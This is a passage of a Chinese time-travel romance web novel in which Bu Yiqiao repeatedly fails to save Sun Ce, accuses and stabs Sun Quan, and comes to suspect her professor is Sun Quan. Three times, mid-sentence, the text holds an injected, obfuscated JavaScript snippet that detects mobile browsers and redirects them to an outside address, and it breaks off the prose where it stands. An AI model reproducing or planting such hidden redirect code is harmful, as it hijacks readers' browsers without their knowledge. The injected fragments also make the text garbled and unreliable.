这举动与某人太过相似,步一乔方才有瞬间真把眼前的人错认成了千年前那位。 “吓死我了!我还以为……他要亲我呢……” * 交流会圆满结束,步一乔和霖霖搭上教授的车一同回学校。 “教授,我想请几天假。”步一乔望着窗外突然开口。 “理由?” “……回老家。” 吴朔看了眼后视镜,收回视线,“不同意。” “我回头让霖霖把假条给您送去。”眼瞅着就快到纪念馆附近,步一乔伸长手指了指路边的车站,“把我放那儿吧,谢谢教授!” “你是真不听我说话啊。”吴朔无奈。 “对不起,但我必须去。”她拉开车门,“回来再向您赔罪!” 没等吴朔回应,她已经跳下车汇入人流。后视镜里,那个身影正逆着人潮奔向纪念馆方向。 霖霖小声打圆场:“教授别生气,一乔她最近总是神神秘秘的……” 吴朔握紧方向盘,目光沉沉地望着那个即将消失的背影。 “嗯,我知道。” * 步一乔躺入棺椁,按照约定默念重返建安四年腊月廿八。不知过了多久,穿越结束。 她迫不及待地睁开双眼,推开棺盖。熟悉的甬道,依旧是那间石室。 “你回来了。” 闻言,步一乔猛地转头。 一个挺拔的身影静立在那里,火光微弱,勾勒出他熟悉的轮廓。他换了身深色衣袍,发髻束得一丝不苟,面容较之她离开时,似乎更显年轻锐利。 他真的在这里!他遵守了诺言! “孙权……” 步一乔鼻腔一酸,几乎是踉跄着扑了过去。孙权张开双臂,稳稳地接住了她。 “我成功了!”步一乔将脸埋在他胸前,“我真的回来了……你真的在……” 孙权的手臂缓缓收紧,将她更深地拥入怀中。他低下头,下颌轻轻抵着她的发顶,闭了闭眼。 “我说过,我会在这里等你。”他顿了顿,多了几分感慨,“只是未曾想,再见你,竟真是……隔世之感。” 步一乔抬起头,泪眼婆娑中,仔细描摹着他的眉眼。 “眼下是建安四年?对吧?伯符他……还好吧?”她仍需确认。 孙权不语,牵住她的手往地牢外走。 天光刺破眼底的刹那,她忽然怔在原地。院中古槐竟满树翠绿,初夏的风裹挟着栀子甜香拂面而来,与她记忆中腊月应有的枯寂萧索截然不同。 “春夏?不对!”她下意识攥紧孙权的手,“腊月廿八,怎会是这般光景?” 孙权沉默片刻,道明真相:“此处是建安五年,五月。” “建安……五年,五月?”步一乔猛地怔住,不敢相信的历史事件在脑海中反复提醒。 建安五年四月初四,孙策遇刺身亡,至夜卒,时年二十六。 孙权沉下眸子,道:“兄长上月……被许贡门客,刺杀身亡。” “怎么会这样?我不是默念的建安四年吗?时间没有错啊!”步一乔惊慌失措,全身止不住地颤抖。 “自去年腊月廿八等不来你后,我便每日在此等你,直到此刻……” 初夏的风突然变得刺骨,步一乔张了张嘴,却听不见自己的声音。 “一乔?” “不对……一定哪里出问题了。定是我方才口吐不清,棺椁听错了我的话。”步一乔从孙权掌中抽回自己的手,“我再试一次!这次不会出错!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608145|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她转身就要冲回地牢,却被孙权一把拉住。 “可你的身子,不会有事吗?” “那也得试试!”她挣扎着,泪水模糊了视线,“必须回到更早的时候,救回一切……” 救回伯符! * 步一乔猛地挣脱孙权的手,转身冲回地牢。 “一定是我念得不够清楚……”她颤抖着抚上棺椁,“建安四年,腊月廿八!” 眩晕感如期而至,她在时光洪流中翻滚,再次睁眼时—— “现在是建安几年?”她抓住守在棺旁的孙权急问。 “建安五年六月。”孙权平静地回答,眼底却藏着痛楚,“一乔,你已试了三次。面色都憔悴了,弃了吧。” “不可能……”她踉跄后退,“再来!” 一次又一次,她穿梭在时间的漩涡中。 建安五年七月、八月、九月……永远无法回到四月,孙策遇刺之前。 每一次归来,迎接她的只有孙权沉静的目光,和更加厚重的丧期痕迹。他的衣袖从素白换成深黑,面容逐渐褪去最后一丝青涩。 第七次穿越后,她瘫坐在棺椁旁,嗓音嘶哑,憔悴得不成样。反反复复的眩晕感,让她此刻连站都站不稳。 “为什么就是回不去……我只想救他……” 孙权单膝跪地,握住她冰凉的手:“一乔,够了,到此为止吧。” “绝不可以到此为止!”她猛地抽回手,眼中布满血丝,“伯符不该死在这个时候!只要再给我一次机会,只要一次……” 她挣扎着要起身,却因体力不支向前倾倒。孙权稳稳接住她,任由她无力的拳头捶打在自己胸前。 “一乔,你累了,歇会儿吧。” 他的声音低沉,带着她不熟悉的沙哑。那双总是沉静如湖的眼眸里,似乎有什么东西,正随着她一次次的尝试,一点点碎裂。 彼此都绝望了。 恍惚中,她的手掌落在孙权发顶,触到柔顺发丝,而后滑至耳侧温热的皮肤,抚过他脸上冰凉的泪痕。 紧接着,清脆的巴掌声划破寂静。但步一乔这次没打孙权,打的自己。 孙权惊得攥住她手腕,阻止第二下。却没料她力气如此之大,反应如此之快,一只手被制,另一只手立刻扬起。 “一乔!” “伯符……伯符我为何……” 步一乔苍白的皮肤慢慢红肿。 “孙权……伯符他……为何我就是救不了他……凭什么……” 她再次扬起拳头,浑身的力量都在这一刻绷紧,极具爆发力地挥在自己脸上。 孙权死死抱住她的身体,不许她的手再抽出来虐待自己。 “不是你的错!是乱世……是这乱世的错。” 他重复着,不知是说服她,还是说服自己。哭嚎与咳嗽声中,他手掌轻抚她后背,试图安抚。然而,步一乔却反手揪住他衣领,逼视他惊愕的脸。 “你为何露出这副表情?” “一乔你——” “还不承认吗?孙仲谋。”步一乔怒形于色、咬牙切齿,“改写穿越时间程序的人。” 孙权眼底的惊愕褪去,转为一种深不见底的沉寂。他并未挣脱,反而迎上她的视线。 “穿越……程序?那是何物?” 步一乔咬紧牙,将他忽地拉进,两双眼睛隔着一拳的距离,映照出两张截然不同情绪的脸。 “真不愧是史书上人尽其才的孙仲谋啊。你机关算尽,一路布局从吴郡到江夏,究竟为什么?” “为了引我上钩吗?” “为了引我入局,不惜谋划杀害你的兄长吗?” 41. 望海潮 步一乔瘫坐在棺椁旁,剧烈的眩晕感让她几度干呕。在意识涣散的边缘,支撑她理智的,并非什么确凿的证据,而是孙权那张过于沉静,甚至带着种洞悉一切的脸。 孙权如何做到她每次穿越结束都守在地牢边?他为什么从来不惊讶? 步一乔突然意识到,来回折腾无数次,无论她穿越回哪个莫名其妙的时间点,孙权永远等在那里。 一个正常人,面对一个凭空出现、穿着奇装异服、口口声声要改变过去的人,应有的反应是什么?是惊骇,是怀疑,是追问,是把她当成妖物,奕如孙策当初要将她斩杀那般。 孙仲谋呢?除了在孙府墙壁救下她,吓着把人丢地上以外,从未表现出任何正常人的情绪。 他一次都没有问过“你为何在此刻出现?”或“你原本想去何时?”。他只是接纳,仿佛自己的每一次到来,都在他的预料之中。他的悲伤是真实的,安慰是恳切的,可他眼底深处,唯独缺少了那份面对未知时空错乱时,人类应有的、最根本的茫然。 这份超乎常理的“淡定”,本身就是最大的破绽。 若历史改写成功,最大的受难者是谁?是本将继承孙策之位的人,是孙权。 “真不愧是人尽其才的孙仲谋啊。你机关算尽,一路布局从吴郡到江夏,究竟为什么?为了引我上钩吗?为了引我入局,不惜谋划杀害你的兄长吗?!” 步一乔猛地推开孙权,踉跄着连带自己也后退几步。 地牢内阴湿得难耐,步一乔纤细的四肢皆在发抖。孙权默默走上前,拉上她运动服的拉链,脱下自己的外衫给她披上,沉着眸子注视着步一乔。 “我孙仲谋行事,纵有千般算计,亦对天地神明无愧。对你……问心无愧。” “好啊,那就证明给我看。”步一乔转身走向角落幽暗的棺椁,斜坐在边缘,翘起一条腿,“就从甘宁放火谋害孙策,你将他打晕在火海,却不救你兄长说起。” 孙权没有回答,只是沉默地看着她。 “怎么?不敢承认?” “与我无关,为何要承认?” 步一乔连连点头,“也罢,那便换个话题。为何时间回溯,唯独你记得一切,却还能如此……云淡风轻?还有,”她指了指自己被拉上的拉链,“你怎么知道这个是靠拉的?只看了几眼就会了?” 孙权静默地看着她,终是极缓地摇头。 “我从未骗过你。我说过,此生与你说过的每一句话,每一个字,句句真心,从无虚言。” 步一乔盯着眼前郑重到一丝不苟的孙仲谋,忽地轻笑一声,道:“那是什么时候说的?于你我而言,该是过去吧。提前预判,好让我信你说的每一句话?真不愧是你啊。” 孙权缄口不言。 “孙仲谋,你想娶我为妻?” “是。” “可我已与伯符完婚,按照礼法,我现在是你嫂嫂。哪怕伯符离世,我便是遗孀,依旧是你嫂嫂。” 孙权哪里拗得过步一乔的性子,沉声道:“乱世之中,礼法当随人心。我欲娶的,从来只是你。” 步一乔的笑意渐渐敛去。她站起身,一步步走近,直到能看清他眼中自己的倒影。 “在我们那个时代,告白都是用爱和喜欢来告诉对方。孙权,你爱我吗?” 孙权握住她的手,郑重道:“爱。我爱你。” “既然爱我,为何要修改穿越程序?为何不让我回到建安五年去救伯符?” 步一乔的另一只手抚上孙权的心口,感受那里的跳动。 “除非,你本就知晓伯符必死无疑。除非他的死,本就在你的谋划之中。除非他不死,你会永远活在他的阴影之下,永远得不到你想要的……包括我。” “我听不明白你在说什么,何况……我若真能阻止一切,又怎会容它发生?世道滚滚向前,如同江流奔海,岂是凡人所能逆转?” “所以你是承认了?你早知道结果,却眼睁睁看着它发生?” “我从未承认过任何事。”孙权无奈轻叹,指腹擦拭过步一乔额角的冷汗,“我唯一承认的,便是我爱你,不愿见你为此送命。” “那就让我回去救伯符。你明知我有能力改变这一切。” “你为何不信我?我当真不知——” “所以你宁愿看着我痛苦吗!”步一乔猛地抽回手,孙权腰间的短剑已然被迫出鞘。但她没有指向自己,而是反手将剑锋抵上了孙权的咽喉,自己的胸口亦因动作过大而被刃口划伤,渗出血珠。 “孙权,我给你两个选择。要么让我回到伯符离世前,要么……”她眼中是玉石俱焚的疯狂,“我现在就杀了你,然后下去向伯符请罪!看看没有你这位江东新主,历史又会变成什么样!” 步一乔的短剑又递进半分。 “放我回去,孙权。现在!” 孙权凝视着她胸口那抹刺目的红,下颌绷紧。良久,他别开脸。 “……你会死的。” “那也好过困在这里!” 步一乔看着他避开的侧脸,她忽然笑了。 “好,好……孙仲谋,真不愧是江东之主。我算是知道为什么你孤寂一生,到最后连最忠心的臣子也被你活活气死!” 她缓缓垂下持剑的手,转身,走向棺椁。没有半分犹豫,她双手扶住棺椁边缘,利落地翻身躺了进去。 “既然你不愿答应我,那我就自己再试。看看是我的执念先穿透时空,还是这具身体先被时空撕碎。” “反正我的死活,你也不在意。反正不管是谁的死活,你都不在意。” 棺椁之内,她闭上双眼,忍着头晕目眩的恶心,再次踏上穿越。 孙权僵立在原地,始终没有回头。 * 待眩晕散去,步一乔推开沉重的棺盖,地牢空寂,孙权不见踪影。也不知回到了什么时间,步一乔快步冲出地牢。 夜色如墨,庭院里花香弥漫,竟似人间四月芳菲未尽。 四月……建安五年吗…… 步一乔顿时感觉不妙,向着孙策的卧房发足狂奔。 这是她第一次踏足此地,却以最莽撞的姿态,猛地撞开了那扇隔绝生死的门。 猛地推开门,江东文武与孙氏亲眷肃立榻前。吴夫人搂着年幼的孙尚香,哭声已近喑哑;孙权捧着绶带,垂首立于母亲身侧,肩头沉重;程普、黄盖、周瑜等旧臣新贵,皆红着眼眶,沉浸在无力回天的悲恸中。 “你是何人!” 程普与黄盖横身阻拦,所有视线瞬间钉在穿着奇装异服的女子身上。吴夫人疲惫地摆手,示意将这个扰乱肃静的不速之客带离。 然而,所有的呵斥、所有的目光,都未能穿透她分毫。 步一乔的眼中没有整个房间,只有榻上那道奄奄一息的身影。她拨开人群,冲破了一切礼法与阻碍。 “伯符……” 榻上的孙策似乎刚交代完后事,已然油尽灯枯。然而就在听见这声呼唤时,他竟奇迹般地再度抬眸。那双原本黯淡下去的眼睛,在触及她身影的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611433|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间,重新燃起一点微光。 一次又一次的时间回溯,早已将她的存在从所有人的记忆里抹去。 但是—— “乔……是你吗……” 他嘶哑的、几乎破碎的嗓音,唤出了她的名字。 程普与黄盖僵在原地,按剑的手缓缓垂下,不自觉地让开通路。步一乔扑到榻前,双膝重重跪地。 “伯符!怎么会……对不起,我来晚了……” 孙策艰难抬手,气若游丝:“是你吗……大乔……” 有史记载,孙策临终特意嘱托大乔照料孙权。可方才环顾四周,根本不见大乔的身影。是这个时空出了差错,还是……被谁取代? “伯符……我不是大乔,我是步一乔啊。”她握住他冰凉的手,“是那个初见时,说要救你的妖人……” “我好像……在梦里见过你……”孙策眼神涣散,喃喃道,“似乎唤你大乔……可我总觉得……你该是另一个名字……另一个样子……” “没错,我不叫大乔,我叫一乔啊。” “你在火海……救了我……告诫我莫要独自狩猎……我没听你的……” “对!是我!”她连连点头,泪水溅落在床榻上,“那不是梦!” “我还梦见皖城……送你的灯……” “我一直都珍藏着舍不得用,将军画得特别好。” “还有婚宴……我与你……成亲了……” 步一乔已然溃不成声,“对……建安五年,正月十五,是我们的大婚之日啊……” 一滴泪从孙策眼角滑落,渗入鬓发。 “欠你的恩情……怕是……还不上了……” 呼吸,停了。 那双深邃眼眸中的最后一点光,彻底散去。他抬起的手,倏然垂落。 “伯符?伯符——!” 她死死攥住他渐渐冰冷的手,一遍遍呼唤。可那张总是带着爽朗笑意的脸,再也不会给她任何回应。 建安五年,孙策遭许贡门客刺杀,重伤不治,至夜而逝,年仅二十六岁。 步一乔的抽噎戛然而止。她猛地转身,一把揪住身旁之人的衣襟 “为什么!他不是你兄长吗!他不是你一生追随的人吗!你怎么狠得下心!” 孙权红肿着眼睛无神地望着眼前勃然大怒的步一乔。程普与黄盖见状,立即上前,强行分开了步一乔,将她牢牢制住,护在孙权身前,拉开了距离。 “休得无礼!在你面前的,可是江东的新主!” 步一乔被阻拦着,无法上前,只能隔着两位老将,用燃烧着怒火与绝望的目光望着他。 “这就是你的目的吗?阻止我改写历史,就为了保全你江东之主的位置吗!孙权你说话!” 孙权偏头避开她的视线。 “我说过,我一无所知。你为何死死咬定是我?” “因为你什么都记得!”步一乔几乎是用尽全身力气喊了出来,泪水再次夺眶而出,“这个错乱的时空下,只有你和我!记得所有的事,记得每一次回溯,记得那些本该被抹去的过去和未来!” 她想过无数种可能,甚至想过他是不是被什么妖物附身,却唯独不敢去想那个最荒谬、也最合理的猜测——他,孙仲谋,或许根本就不是“这个时代”的孙权。 孙权缓缓转回头,终于迎上她的视线。他看着她,用一种近乎残忍的平静语气,轻声反问: “那你为何不咬定,我与你一样……也是从一个知晓一切的‘未来’,而归来的呢?” 42. 方寸山 步一乔的质问戛然而止。 “那你为何不咬定,我与你一样……也是从一个知晓一切的‘未来’,而归来的呢?” 世间霎时寂静。她揪住孙权衣襟的手无力地松开,踉跄着后退一步。 未来?归来? 四个字彻底打碎了她所有的认知。她设想过无数种可能,孙权被妖物附身、他就有操纵时间的能力、甚至他是某个神秘组织的成员,却唯独没有想过,他可能和自己一样,是个不属于这个时代的人。 什么叫归来?他去过现代了?去到一千多年后,知晓了历史的走向,然后回到了东汉? “你……”步一乔张了张嘴,却发不出任何声音。 就在这时,威严而悲痛的声音打断了对峙。 “主公新丧,岂容你等在此喧哗!”吴夫人在侍女的搀扶下走来,满面泪痕,奋力一掌扇在步一乔脸上。 “老夫人莫生气,交给瑜来处理。” 周瑜不知何时已站在门边,他红肿的双眼扫过步一乔,最终落在孙权身上。 “仲谋,此时不宜节外生枝。一切当以伯符的后事为重。” 孙权立刻收敛了所有情绪,恢复了江东之主应有的沉痛。他深深看了步一乔一眼,转向程普、黄盖,下令道:“将她带下去。待兄长后事毕,再行处置。” “你要抓我?”步一乔难以置信地盯着他,“孙权你要抓我?!” “速速带走。”他命令道,声音里没有一丝波澜。 步一乔被两名侍卫带离时,眼睛一刻未离孙权。 孙权已经默然转身走向孙策的遗体。 “孙仲谋!!!” * 夜深人静,步一乔抱膝坐在榻上,连续几日的失眠让她的太阳穴针扎似的疼。身子虚弱得厉害,脑海中反复回放着孙权那句石破天惊的反问。 “未来……过去……别被骗了,步一乔,那是他误导你的幌子。”她喃喃自语,试图说服自己。 那可是老谋深算的孙仲谋啊。 可如果他当真来自未来,一切就说得通了。 可若果真如此,他为何要阻止她救孙策?是因为那个与教授声音一模一样、声称要“修正历史”的神秘男人吗?他们之间有何关系? 门外传来轻微的响动,打断了她的思绪。一个食盒从门缝处无声推了进来,伴随着侍卫离开的脚步声。 步一乔打开食盒,最上面放着一碟她最爱的蜜饯,底下是还冒着热气的饭菜。 这几日的吃食,皆与她身为座上宾时无异,甚至更合她的口味。但她一口也吃不下,每日只挑了些好入口的,敷衍了事。 无论哪个时空,能将这一切记得如此真切的,只有他。 步一乔拿起蜜饯,发现底下压着一张折叠的纸条。 “子时,地牢。” 没有署名,但却是熟悉的笔迹。 步一乔抬眸看了眼合拢的门扉,试着用手轻推。 门上的锁不见了。 * 子时的地牢比记忆中还要阴冷。 步一乔到达时,孙权已经等在那里。他换了身素服,看上去比以往消瘦了几分。 这几日忙着伯符的葬礼,他都没好好休息吧? “怎么不好好吃饭?都瘦了。”他手中提着一盏灯笼和一包糕点。 “伯符……下葬了?” “嗯。今日刚入的土。” 沉默在潮湿的空气里蔓延。步一乔能想象那场面,江东子弟白衣如雪,哭声震野,而他作为新主,纵使万分伤感,也必须挺直脊梁接受所有人的注目与期待。 即使他才年方十八,还只是个少年。 “你这几日没休息好吧?”下意识的关心,话一出口步一乔就后悔了。这关心太不合时宜,太软弱。 孙权似乎也微微一怔。他抬手将灯笼挂在一旁的铁钩上,暖光摇曳着照亮狭窄的空间。 “没胃口也要吃点。”他将手中油纸包递过,“我带了你爱吃的麦糕。” 步一乔没有接。她看着他在灯光下明暗不定的脸,问:“为什么骗我?” 孙权的手悬在半空。 “你和那个道士,到底是什么关系?” “没有关系。” “他说他是穿越而来,又不是。因为我要改写历史,他要修正历史。而修正的方法,就是让伯符离世。你和他……做了相同的事。” 孙权沉默片刻,将麦糕掰成小块,递步一乔嘴边。 步一乔看了眼适口的麦糕,又看了眼孙权,一口咬下。 “我与他无关。至于我为什么记得……不能告诉你。” “为什么?” “我孙仲谋此生,有两件事不会说谎。第一,是对兄长的忠诚。第二,”他抚上步一乔的侧脸,指腹擦去她嘴角的残渣,“是对你的感情。” “那你告诉我真相啊!” 孙权又陷入沉默。 步一乔酸胀着眼睛深呼吸,试图平复翻涌的情绪:“穿越到此的人都记得现世发生的事,伯符虽然记得我,但记忆是模糊的。周瑜也记得,但因为太过聪明,半猜半蒙到的。你呢?你是清晰的,确信的。” 她向前逼近,双脚踩在他脚上:“那日在地牢,我无法回到过去,是不是你做了什么?” 孙权沉默良久,终于答道:“是。棺盖合上后,你听不见我的声音,你去的时间,是我定下的。” 步一乔抽出藏在腰后的刀,刺穿孙权身体。忽地吃痛,孙权就着刀疯狂向后撤退。步一乔穷追不舍,握着刀柄一起移动。两人死死纠缠,一路后退到墙边,无路可退。 “一乔你……” 大量鲜血不断涌出,步一乔下意识开口询问,但不确定自己到底有没有发出声音。 “棺椁不是该听我的指令吗?你怎么做到的?这棺上写了你的名字?” 步一乔收回刀,厮磨神经的皮肉拉扯声,紧接着是刀刃落地的清脆声。她拥住孙权贴近他的身体,干净的运动服瞬间沾染上他体内涌出的鲜血。 孙权伸手推搡她的肩膀,但两人之间的距离并未分离丝毫。 下一秒,步一乔突然捧住他的脸,狠狠咬上他的嘴唇。 铁锈味在齿间蔓延,她尝到他的血,也尝到自己的泪。他的呼吸急促而混乱,温热的液体顺着两人紧贴的脸颊滑落。 她松开时,他的下唇已是一片血肉模糊。鲜血顺着他的下颌滴落在素服上,晕开更深的痕迹。 “一乔……” 步一乔剧烈喘息着,用染血的手指抹过自己的嘴唇,在苍白的脸上划开一道血痕。 “孙权,孙仲谋。虽然我无法得出结论,你怎么做到的。但,我明白了一件事。我无法改写历史,无论我如何挣扎,皆是徒劳。总有人会来阻止我。道士、门客、余孽……还有你。” “一乔……” “我放弃了,我累了。不光是拯救不了伯符,还有你。我想和你相亲相爱地过日子,不想这样互相猜疑,相互折磨。” “一乔快叫大夫……” “你不会死的,我不会让你死的。仲谋,等我再穿越回更早的时间,你又复生了。除非……” 步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16618924|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一乔稍稍退开,注视着他逐渐失焦的双眼。 “你跟我一样,不是这个时间的人。” 时间悖论的理论示范,孙子穿越回过去杀了爷爷,那么未来的孙子也死了,两个人一同死在过去。 只有未来穿越到过去的人,记忆才不会消失。 倘若孙权真是来自未来,他如果死在过去,就不会有未来的他。 以后,也没有他了。 “你在说什么……一乔,我快救我……” “还不承认吗?那你就死这儿吧。反正东吴终归毁在你手上,早一天晚一天,没什么区别。” “一乔……你……” 步一乔蹲下身抱住他,温柔地亲吻他的喉结,他的眼睛,他的额间,他的唇瓣。 “我爱你,孙权。我爱你,孙仲谋。” “你是我此生第一个心动的人,也是我甘愿交付所有第一次的男人。” “再见,孙仲谋。建安四年,再见。” * 步一乔返回现代后,在棺椁边坐了很久,身体感知已经过去了数小时,才艰难地起身,跌跌撞撞地走出地牢。去到游客中心,取走自己寄存在此的背包。 点开手机,当即拨通了教授吴朔的电话。 “对不起,您拨打的电话是空号。” 步一乔面无表情地挂断电话,转而拨通霖霖的电话。 “喂一乔。” “潜山的活动结束了吗?” “不是昨天结束的吗?我们一起回来的啊。” “我们怎么回来的?” “嗯?”霖霖发出疑惑,“大巴车统一送回学校的啊。你怎么了?” “没什么,确认一下。”步一乔缓了口气,又问,“历史学综合课的教授……是男是女?” “不是你到底怎么了?喝酒了?没事吧?我来接你?” “没喝酒!你快说!” “女的啊。不是回去休产假了嘛,半年后回来。” 霖霖道完后,步一乔似乎没有表现出强烈的震惊或追问,反应略显平淡。 也是,她又猜对了。 “你在宿舍吗?帮我进历史研究所的官网,找——”她突然顿住,想起这个时间线上已经不存在某位教授,改口道,“搜关键词吧,孙氏旧址纪念馆、地牢、棺椁。” 霖霖愣了半晌,“你说的什么啊?” “别管了,赶紧搜!” 听着电话那头传来的键盘敲击声,步一乔不自觉地咬住下唇。 “我去,还真有?!” “论文作者是谁!” “佚名。” “佚名?”步一乔沉吟片刻,“点进去,找一下棺椁的主人是谁。” “大姐,十多万字呢,你要我挨着看啊?” “回头请你吃饭!拜托了。” “行吧,那你等我电话。” 步一乔身体虚弱得厉害,只好转角去了纪念馆街对面的咖啡店,买了杯温热的捧在手心。 上一次霖霖说的回家休产假的教授并非吴朔,很可能是她刚才电话里说的,步一乔不认识的女教授。 两次影响现世时空的共同点是什么?是孙权之死。 孙权离世,教授也从这个时空消失?按照时间悖论的理论,要发生这一情况,只有一个因果。 “孙权和吴朔……是同一个人?!” 电话适时响起,是霖霖打来的。 “你绝对猜不到这棺椁是谁的!” “……孙权?” 电话那头沉默了片刻,“怎么猜到的?!” 43. 由此去 “孙权的棺椁不是在蒋陵吗?为什么纪念馆的地牢里也有?!” 霖霖发出了与步一乔同样的疑惑。 “文章中没有披露吗?” “没有。” “……我知道了。” “一乔,你真没事儿吗?不用我来接你?” “没事。”步一乔脑袋又胀痛得厉害,“另外,我今晚也不回宿舍了。” 霖霖沉默了半晌,试探道:“你是不是谈恋爱了?” “为什么?” “夜不归宿……要和男朋友去开房?” “没对象,挂了。” 放下电话,步一乔苦笑。史册不必去翻,定然写着孙权在自家地牢遇刺,江东基业随之倾颓。 “我好累啊……”她轻声自语,“救回他,就跟他道别吧。” 让历史回归正轨吧。再这样下去,恐怕先殒命的会是自己。 一次穿越的眩晕尚可忍受,但反反复复数十次,即便被孙权关在厢房中强制休养了数日,也不见好转。 她的身体比想象中更虚弱。背起行囊,她一步一踉跄地走向地牢。寒意刺骨,双腿几乎失去知觉。 当穿越的撕扯感结束,她直接扑向石壁,将胃里最后一点残渣连同胃酸尽数吐出。 “这次孙权不在……应该听我的话,到了建安五年正月吧……” 又是寒冬。孙府银装素裹,廊下却挂着喜庆的红灯笼,甚至贴着醒目的“囍”字。寒风中隐约飘来欢快的奏乐声,步一乔循着声音走去。 今日是谁的婚宴吗? 前院热闹非凡,喜气洋洋。步一乔躲在一棵树后,观摩着一对新人的婚宴。 熟悉的面孔,熟悉的人。熟悉的场景,换了佳人。 孙策轻握着大乔的手,佳偶天成,宛如璧人。 他穿着大红的吉服,身姿依旧挺拔如松,意气风发。眼角弯成温柔的弧度,笑意从眼底满溢出来。他正微微侧身,小心翼翼地牵着他身旁的新娘,真正的大乔。 步一乔忽然笑了,眼角却泛起泪光。视线微转,她看见了那个她深爱的男子。他站在吴夫人身侧,与众人一同开怀笑着。 这里是真实的历史,不曾被她步一乔干涉的正史。一切皆如史书所载,无人识得她,仿佛她从未存在过。 “伯符……” 真好。他不必经历血染的婚宴,至少此刻,他是幸福的。 双腿再也支撑不住,眼前阵阵发黑。她猛地撞上树干,软软滑倒在地。呼吸愈发困难,单薄的运动服抵不住凛冽寒风,虚弱的身躯仅凭最后一口气强撑。 “不能死在这里……得回去……” 她挣扎着想站起,却一次次失败。 模糊的视线固执地望向那个身影,几乎失去知觉的唇瓣轻轻颤动,念出他的名字,没有声音,没有能听见。 “仲谋……孙权……” * 意识从一片冰冷的黑暗中,被消毒水的气味和指尖的刺痛感硬生生拽回来的。 步一乔艰难地掀开沉重的眼皮,刺目的白光让她瞬间闭上。适应了片刻,她才再次睁开,茫然地看着眼前纯白的天花板、悬挂着的输液瓶,以及环绕周围的陌生医疗仪器。 医院? 她不是在东汉建安五年的寒冬里,在孙府的喜宴外,力竭濒死了吗? “你醒了?”一个穿着护士服的姑娘正好走进来,看到她睁着眼,询问道,“感觉怎么样?有没有哪里特别不舒服?” “我……怎么会在这里?” “你晕倒在孙氏旧址纪念馆地牢的玻璃门外。”护士一边记录着她的生命体征,一边解释道,“是巡查的保安发现你的。你当时体温很低,生命体征很弱,把我们吓了一跳。你都昏迷两天了。” “玻璃门外?” 怎么会是玻璃门外?有人把自己从地牢内送出去的?而且是从……建安五年? “哦,对了,”护士记录完,像是忽然想起什么,从床头柜上拿起一个东西递给她,“这个背包是你的吧?被发现时就在你身边。里面有个东西一直在震动,你看看。” 是她的背包。 步一乔心脏莫名一跳,接过背包,打开。里面是她的笔记本、几支笔,还有她的手机和学生卡。此刻,手机屏幕正亮着,显示着霖霖的来电。 她划开接听,对面立刻传来霖霖焦急的声音:“一乔!你终于接电话了!你没事吧?你在哪儿?” “我……在医院。”步一乔的声音还有些虚弱。 “医院?!你怎么了?哪家医院?我马上过来!” 步一乔报了医院名字,挂了电话。她下意识地用手指摩挲着手机冰凉的外壳,试图从那真实的触感里寻找一丝安定。 “对了!教授!” 她点开通讯录,拨通吴朔的电话号码。随即门外响起手机铃声。步一乔循声望去,吴朔提着打包的饭菜,挂断她的电话走进病房。 “孙——教授。” 那个几乎要脱口而出的名字,被她及时咽了回去。 “又不记得我叫什么了?”吴朔揶揄道,将还冒着热气的餐盒放在床头柜上。 “教授怎么知道我在这儿?” “医院在你书包里找到了学生卡,通知学校,学校通知了我。” “这样啊……” 吴朔在病床边坐下,利落地支起桌板,将餐盒一一打开,将勺子递给步一乔。 “先吃饭吧。” “我吃不下……” “吃不下也要吃。” “胃难受……” “嗯,所以我买的粥,还有些软和的菜,多少吃点。” 步一乔心中堆满疑惑,想要问他。 教授和孙权究竟是什么关系?为何孙权身死,教授也会随之消失?而她回去见到了活生生的孙权,如今教授又重新出现……这两者之间,真的毫无关联吗? 还有吴朔这个名字,当真不是从“吴国”与“朔北”而来吗? 知道地牢棺椁可以穿越的教授,自己为何从未怀疑过,他是如何知晓的? “我总是自以为是……自以为很聪明,自以为推理猜测的都是对的,跟头倔驴似的往里面冲……到最后,把一切都毁了,连自己也差点毁了……” 大颗的眼泪打湿医院的被褥,步一乔低声抽噎着埋下头。 吴朔看着她,抽走她手中的勺子,端起粥碗,舀起一勺,稍稍吹冷后送往她嘴边。 “别哭。再哭又得晕过去了。” 步一乔抬起泪眼朦胧的脸,望着眼前与孙权从未发觉竟如此相像的男人。他专注吹凉热粥的神情,他递到唇边的勺子,都让她恍惚间分不清今夕何夕。 她终于顺从地微微张口,咽下了那勺温热的粥。 “烫吗?” 她摇头。 “能咽下去吗?” 她点头。 温柔地询问,一如既往的关心。步一乔抬起泪眼,目光细细描摹着眼前人的轮廓。 是了,她怎么会现在才看出来? 